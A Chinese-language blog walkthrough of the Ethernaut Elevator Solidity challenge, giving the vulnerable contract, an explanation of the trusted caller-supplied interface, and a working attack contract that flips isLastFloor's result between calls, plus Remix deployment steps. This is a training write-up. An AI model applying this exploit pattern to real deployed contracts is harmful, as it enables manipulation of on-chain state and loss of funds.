# Ethernaut Hacking Trip #11 Elevator（中文）

By [Untitled](https://paragraph.com/@0xeccad75bb404803a15a94058400c6aed8311c8d3) · 2021-11-16

---

这一期更新，我们来讲讲Ethernaut的第11个Hacking挑战Elevator。 首先我们来看看代码。这一期代码看似简单，不过是一个合约Elevator+一个接口Building，但是经验告诉我们，不能被表象蒙蔽，简单的杀招最为致命。

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    interface Building {
      function isLastFloor(uint) external returns (bool);
    }
    
    
    contract Elevator {
      bool public top;
      uint public floor;
    
      function goTo(uint _floor) public {
        Building building = Building(msg.sender);
    
        if (! building.isLastFloor(_floor)) {
          floor = _floor;
          top = building.isLastFloor(floor);
        }
      }
    }
    

接着，我们来看看挑战要求和提示。

![](https://storage.googleapis.com/papyrus_images/0c98a289196437fa2848bee95de6981df33f921c52161bf5bd4c4abad2b422cb.png)

读起来就和谜语一样：solidity不会遵守承诺？电梯会被用在建筑上？这到底是什么意思呢？ 要解决这个问题，还是要回到我们最可靠的材料——代码上，看看它讲了一个怎样的故事。

1.  **代码解读** 1） 合约Elevator首先定义了两个公共变量，布尔型的top和uint型的floor。顾名思义，top记录当前是否达到顶层，floor记录当前达到第几层。 接下来是公共函数goTo，其参数为\_floor。在函数中，创建了building接口。 `Building building = Building( msg.sender)`
    
    这句话的本意应该是Building合约从外部调用此函数（即为msg.sender ），从而使building能够用Building合约里的所有功能。但是我们并不控制Building合约，所以我们肯定是不能让此处的building正常行使职能的。在此，就要提到合约hacking的一个准则：**让合约不正常的行使职能**。所以，这个interface应该是我们突破口的一部分。
    
    接下来的if语句就很耐人寻味了。如果(! building.isLastFloor(\_floor))为真，那么执行完语句后的top就为假；如果(! building.isLastFloor(\_floor))为假，那么根本就不会执行语句！所以，这就是这个挑战需要我们hack的地方了：使得top为真，即达到building的top。
    
    2） 接口Building的函数isLastFloor读取uint参数，返回布尔值。并且，它的状态声明里没有view！这意味着我们可以随心所欲地**override**，从而完成我们的hacking大业。
    
2.  **Hacking思路**
    
    1） 合约hacking有一个亘古不破的原则：**最好的hacker是另一个合约**。结合我们在代码解读里获得的思路，我们可以这么做：新开另一个合约，在合约里重新定义一个函数isLastFloor。这样，在新合约中调用Elevator时，就会按照我们重写的isLastFloor的逻辑运行了。
    
    2） 现在的关键是isLastFloor的逻辑。我们要达到的效果是，第一次调用它的时候结果为假，第二次调用它的时候结果为真。这个实现办法就多了。下面的代码提供了一种解决思路。
    
3.  **Hacking实现**
    
    1） ElevatorAttack.sol
    
        // SPDX-License-Identifier: MIT
        pragma solidity ^0.6.10;
        
        import "./Elevator.sol";
        
        contract ElevatorAttack {
            Elevator public target;
            bool public toggle = true;
            constructor(address _address) public {
                target = Elevator(_address);
            }
            
            function isLastFloor(uint) public  returns(bool){
                toggle = !toggle;
                return toggle;
            }
            
            function setFloor(uint _flo) public {
                target.goTo(_flo);
            }
        }
        
    

2.  在Ethernaut页面的console中输入await contract.address，得到当前合约地址。同时，在Remix中部署这个地址（不要忘了环境要选择Injected Web3，用登录Ethernaut的同一地址），执行setFloor()。
    

![](https://storage.googleapis.com/papyrus_images/35eaa50b056acb369744a7cb0282dc1b3d1886535db5a21a6ddda2d8f6d780bd.png)

![](https://storage.googleapis.com/papyrus_images/eefa5159b9322b43749827052a19291c965e915771925cd43f470e34b6880037.png)

![](https://storage.googleapis.com/papyrus_images/769be7f69ce07f621d81be7062ba0646767025f960e6ee6e0a30f25adbe6901d.png)

3） 再回到Ethernaut界面，执行await contract.floor() 以及 await contract.top()。Floor为刚才我们设定的值，top为true。恭喜，我们hacking成功了！

![](https://storage.googleapis.com/papyrus_images/2976b3931c20a88be3b4fb9fcdd8096a08c089376c8f7636ef1ae18e092ab1ea.png)

如果我的讲解有任何错误，欢迎在我的推特中留言或者私信（@snow\_elven）。如果您喜欢我的讲解，还请您帮忙宣传转发，小小打赏。 谢谢。

---

*Originally published on [Untitled](https://paragraph.com/@0xeccad75bb404803a15a94058400c6aed8311c8d3/ethernaut-hacking-trip-11-elevator)*
